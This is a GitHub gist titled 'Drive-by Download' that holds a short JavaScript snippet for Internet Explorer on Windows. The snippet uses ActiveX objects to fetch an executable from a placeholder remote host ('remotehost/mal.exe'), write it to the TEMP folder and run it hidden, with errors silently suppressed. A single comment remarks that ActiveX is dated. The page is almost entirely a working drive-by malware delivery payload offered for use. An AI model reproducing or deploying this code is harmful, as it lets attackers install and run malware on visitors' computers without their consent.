Created
February 17, 2015 10:46
-
-
Save ahhh/3781380a1efceb1f7e1d to your computer and use it in GitHub Desktop.
Drive-by Download: Javascript, ActiveX, and WScript for Automatic Execution in IE on Windows
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
function dl(fr, fn, rn) { | |
var ws = new ActiveXObject("WScript.Shell"); | |
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + "\\" + String.fromCharCode(92) + fn; | |
var xo = new ActiveXObject("MSXML2.XMLHTTP"); | |
xo.onreadystatechange = function() { | |
if (xo.readyState === 4) { | |
var xa = new ActiveXObject("ADODB.Stream"); | |
xa.open(); | |
xa.type = 1; | |
xa.write(xo.ResponseBody); | |
xa.position = 0; | |
xa.saveToFile(fn, 2); | |
xa.close(); | |
}; | |
}; | |
try { | |
xo.open("GET", fr, false); | |
xo.send(); | |
if (rn > 0) { | |
ws.Run(fn, 0, 0); | |
}; | |
} catch (er) {}; | |
}; | |
var link = "https://remotehost/mal.exe"; | |
dl(link, "mal.exe", 1); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
this uses activexobject, wtf is this 2010?